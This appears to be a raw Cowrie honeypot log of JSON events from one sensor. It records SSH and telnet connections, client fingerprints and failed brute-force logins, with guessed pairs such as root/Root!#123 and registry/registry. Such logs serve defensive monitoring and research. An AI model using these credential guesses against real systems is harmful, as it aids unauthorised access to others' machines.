{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:5d:9b:af:10:e7:a1:2b:92:9e:c2:13:dc:f5:b5:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5FX/Aa7vM6PqE2N+cT7cmnoBDpzJWatWzwUY3U4xD6C9hek2nkBQuXVADfcGCB2lVGqfQF29RQIkM0LUQL8W5EtzsaJCqcuvlqr3k2LCsnXsFNE7a473grHqfim3qSYCKL363caRsdgw4DJqvWV96AqDisL9AsvTw4OpaUkPUS+9fM/cZNCH7PUGVt+pwwr3r1a10LgSuH0QVVIE8A5hV2OZ6K++ThwSqZ/asX0v0KQLk9KpDpJRbNpet4HyYGMnWX13t2wWHdf6YiwZNFBdaUqAfe9l8gAsnXpJuHHBTz/VHFvzSdLjcmklVdiDcGspFWqsvlgBkz5ULnWHpQSOJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.588848Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:68:94:c5:ad:b8:a6:f2:7f:82:cd:08:a0:a2:a3:bd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMhN2noGOV6/v4gPe/Cau7cc6RcgH5D3ulXnuBC+ppUL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:68:94:c5:ad:b8:a6:f2:7f:82:cd:08:a0:a2:a3:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.656339Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:68:94:c5:ad:b8:a6:f2:7f:82:cd:08:a0:a2:a3:bd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMhN2noGOV6/v4gPe/Cau7cc6RcgH5D3ulXnuBC+ppUL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.660452Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:10:59.728498Z","src_ip":"23.237.188.34","session":"b2c4a3f2c9ea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:00.163198Z","src_ip":"213.209.159.158","session":"70ffff367833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:00.170684Z","src_ip":"213.209.159.158","session":"70ffff367833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.66888976097107,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:06.871751Z","src_ip":"152.42.224.71","session":"da4b94bac6af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!#123","message":"login attempt [root/Root!#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:09.381399Z","src_ip":"213.209.159.158","session":"70ffff367833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:12.798157Z","src_ip":"213.209.159.158","session":"70ffff367833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32912,"dst_ip":"159.203.135.109","dst_port":22,"session":"150c9049df98","protocol":"ssh","message":"New connection: 213.209.159.158:32912 (159.203.135.109:22) [session: 150c9049df98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:12.921531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:15.056066Z","src_ip":"213.209.159.158","session":"150c9049df98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:15.060028Z","src_ip":"213.209.159.158","session":"150c9049df98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf53822ccd49","protocol":"telnet","message":"New connection: 152.42.224.71:59202 (10.17.0.5:23) [session: bf53822ccd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:18.664717Z"}
{"eventid":"cowrie.login.failed","username":"NetLinx","password":"password","message":"login attempt [NetLinx/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:24.682320Z","src_ip":"213.209.159.158","session":"150c9049df98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:27.948134Z","src_ip":"213.209.159.158","session":"150c9049df98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":5108,"dst_ip":"159.203.135.109","dst_port":22,"session":"523c19d7b583","protocol":"ssh","message":"New connection: 213.209.159.158:5108 (159.203.135.109:22) [session: 523c19d7b583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:28.032022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:30.091814Z","src_ip":"213.209.159.158","session":"523c19d7b583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:30.095749Z","src_ip":"213.209.159.158","session":"523c19d7b583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"registry","password":"registry","message":"login attempt [registry/registry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:39.744037Z","src_ip":"213.209.159.158","session":"523c19d7b583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:43.042381Z","src_ip":"213.209.159.158","session":"523c19d7b583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":53734,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7630b1d6db","protocol":"ssh","message":"New connection: 213.209.159.158:53734 (159.203.135.109:22) [session: ea7630b1d6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:43.132914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:45.627230Z","src_ip":"213.209.159.158","session":"ea7630b1d6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:45.631275Z","src_ip":"213.209.159.158","session":"ea7630b1d6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.181.134.130","src_port":47907,"dst_ip":"10.17.0.5","dst_port":23,"session":"aceb223ef48e","protocol":"telnet","message":"New connection: 104.181.134.130:47907 (10.17.0.5:23) [session: aceb223ef48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:53.163372Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37610,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba333ea12384","protocol":"ssh","message":"New connection: 103.176.20.57:37610 (10.17.0.5:22) [session: ba333ea12384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:53.491960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:53.501410Z","src_ip":"103.176.20.57","session":"ba333ea12384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:53.752069Z","src_ip":"103.176.20.57","session":"ba333ea12384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890s","message":"login attempt [root/1234567890s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:54.515470Z","src_ip":"103.176.20.57","session":"ba333ea12384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"millie1","message":"login attempt [root/millie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:54.862390Z","src_ip":"213.209.159.158","session":"ea7630b1d6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:55.770013Z","src_ip":"103.176.20.57","session":"ba333ea12384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:58.373804Z","src_ip":"213.209.159.158","session":"ea7630b1d6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2378,"dst_ip":"159.203.135.109","dst_port":22,"session":"59cbd2057562","protocol":"ssh","message":"New connection: 213.209.159.158:2378 (159.203.135.109:22) [session: 59cbd2057562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:11:58.478396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:00.668416Z","src_ip":"213.209.159.158","session":"59cbd2057562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:00.673704Z","src_ip":"213.209.159.158","session":"59cbd2057562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.02229976654053,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:01.421607Z","src_ip":"152.42.224.71","session":"f16646b9eded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":44896,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b501d3eaffb","protocol":"ssh","message":"New connection: 109.237.96.109:44896 (10.17.0.5:22) [session: 0b501d3eaffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:03.724128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:03.736226Z","src_ip":"109.237.96.109","session":"0b501d3eaffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:03.819603Z","src_ip":"109.237.96.109","session":"0b501d3eaffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"787898","message":"login attempt [root/787898] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:04.184481Z","src_ip":"109.237.96.109","session":"0b501d3eaffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:05.281270Z","src_ip":"109.237.96.109","session":"0b501d3eaffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.207157135009766,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:06.370409Z","src_ip":"104.181.134.130","session":"aceb223ef48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.357678174972534,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:09.022289Z","src_ip":"152.42.224.71","session":"bf53822ccd49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"play","password":"play","message":"login attempt [play/play] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:09.748278Z","src_ip":"213.209.159.158","session":"59cbd2057562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:13.408943Z","src_ip":"213.209.159.158","session":"59cbd2057562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":42298,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ad362de578","protocol":"ssh","message":"New connection: 213.209.159.158:42298 (159.203.135.109:22) [session: 05ad362de578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:13.487750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:15.650723Z","src_ip":"213.209.159.158","session":"05ad362de578","protocol":"ssh"}
